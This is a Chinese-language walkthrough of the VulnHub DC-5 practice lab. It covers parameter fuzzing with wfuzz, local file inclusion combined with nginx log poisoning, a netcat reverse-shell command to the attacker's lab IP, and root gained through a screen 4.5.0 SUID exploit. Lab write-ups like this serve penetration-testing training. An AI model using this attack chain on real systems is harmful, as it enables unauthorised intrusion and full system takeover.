vulnhub DC-5 靶机 walkthrough

Description

DC-5 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

The plan was for DC-5 to kick it up a notch, so this might not be great for beginners, but should be ok for people with intermediate or better experience. Time will tell (as will feedback).

As far as I am aware, there is only one exploitable entry point to get in (there is no SSH either). This particular entry point may be quite hard to identify, but it is there. You need to look for something a little out of the ordinary (something that changes with a refresh of a page). This will hopefully provide some kind of idea as to what the vulnerability might involve.

And just for the record, there is no phpmailer exploit involved. 😃

The ultimate goal of this challenge is to get root and to read the one and only flag.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

But if you're really, really stuck, you can watch this video which shows the first step.

实验

收集一下基本信息


依次点击网页,查看有用信息

在 contact.php 中含提交参数

提交后所有参数由 thankyou.php 处理

思路一:sql注入

burp 抓包,对每个参数进行 fuzz 测试,查看是否回显不同或报错

未发现异常,手动测试了一下也是如此。

思路二:wfuzz参数

既然 thankyou.php 会对所有提交的参数进行处理,那么会不会存在隐藏参数呢?

并且如果你仔细一点可以注意到 tankyou.php 页面每刷新一次,copyright 都会变化。说明这个页面是动态的,并且能将某些内容打印出来。

尝试寻找隐藏参数
wfuzz -c -w /usr/share/wordlists/dirb/common.txt 192.168.110.136/thankyou.php?FUZZ=i_like_u

过滤掉相应长度为 851 的数据
wfuzz -c -w /usr/share/wordlists/dirb/common.txt --hh 851 192.168.110.136/thankyou.php?FUZZ=i_like_u

拿到参数 file

一般来说,参数名称和对应功能是相匹配的,可能就是一个读取文件功能。

想到 LFI 本地文件包含漏洞

能够正常读取本地文件。由于目标机器没有 ssh 服务,所有只有反弹 shell 来获取控制权。考虑到这是 nginx 服务,利用日志投毒。

简单来说,就是先在 url 里访问一段恶意的 php 脚本,这个错误信息就会输出到 nginx 的错误日志下,在结合本地文件包含这个错误日志,解析脚本,就能获得控制权。

注意:错误信息会将url框内编码后的内容(未解码)保存到日志文件,所以为了脚本正常执行,用 burp 抓包然后提交恶意内容。


nginx 默认错误日志路径 /var/log/nginx/error.log

命令已经成功执行

反弹shell,...&cmd=nc -e /bin/bash 192.168.110.130 1314

www-data 是最低权限用户,活动范围只在 web 文件夹以内,很多命令受限。

这里依按例次检查这些点

+ privilege escalation

netstat -antup

cd /var/mail;ls

ps aux | grep -i 'root'

sudo -l

find / -perm -u=s -type f 2>/dev/null

find / -perm -g=s -type f 2>/dev/null

uname -a

lsb_release -a

最后在 设置了 suid 位的特权文件中发现有意思的东西

4.5.0 版本的 screen 很突出

这个 .sh 文件已经写好了攻击过程,只需要目标机器下载并执行这个脚本即可(前提是有 gcc)。

总结

  • 扫描主机 ip,端口和服务信息。
  • 访问网页,扫描目录,看到多个参数提交点,wfuzz 测试参数找到 file。
  • LFI 本地文件包含加 nginx 日志投毒反弹shell。
  • 查找到 suid 位文件 screen 4.5.0,目标机执行exp获得 root。
相关推荐
一技安身6 小时前
【信创】银河麒麟V10、统信UOS解压7Z文件
linux·运维·服务器
奔跑的架构师7 小时前
[A-50]ARMv9/v8-DVFS系统架构
linux·arm开发·架构·系统架构·arm
迷途呀7 小时前
CI/CD 自动化部署实践:让代码提交后自动上线
linux·运维·nginx·ci/cd·自动化
赴生-7 小时前
Liunx 操作系统 进程概念(上)
linux
binqian7 小时前
【linux】OpenSSH升级文档
linux·运维·网络
Bruce_Liuxiaowei7 小时前
2026年9月第2周网络安全形势周报
网络·安全·web安全·网络安全·漏洞评级
吴声子夜歌8 小时前
Shell编程——if条件语句
linux·运维·shell
Dawn-bit8 小时前
Linux 运维基础扩展:跳板机、堡垒机与物理服务器全流程
linux·运维·服务器·云计算·运维开发
新时代牛马8 小时前
Linux 定时任务:crontab、anacron 与systemd timer
linux·运维·服务器
mounter6258 小时前
Linux 7.2 引入更灵活的块设备错误注入机制
linux·linux kernel·kernel·disk·error injection